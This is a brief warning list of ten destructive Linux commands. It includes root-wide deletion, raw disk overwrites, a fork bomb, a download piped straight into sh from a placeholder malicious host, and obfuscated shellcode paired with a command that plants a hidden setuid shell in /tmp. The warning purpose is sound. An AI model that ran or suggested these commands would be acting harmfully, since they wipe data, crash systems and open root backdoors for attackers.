10 Destructive Linux Commands

These are the 10 destructive Linux commands that anyone should never run.

1. rm -rf /*
2. echo "Hello" > /dev/sda
3. mv /home/user/* /dev/null
4. mkfs.ext3 /dev/sda
5. :(){:|:&};:
6. > config_filename
7. dd if=/dev/random of=/dev/sda
8. chmod -R 777 /
9. wget http://malicious_source -O- | sh
   

10. char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

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• 10 Destructive Linux Commands You Should Never Run
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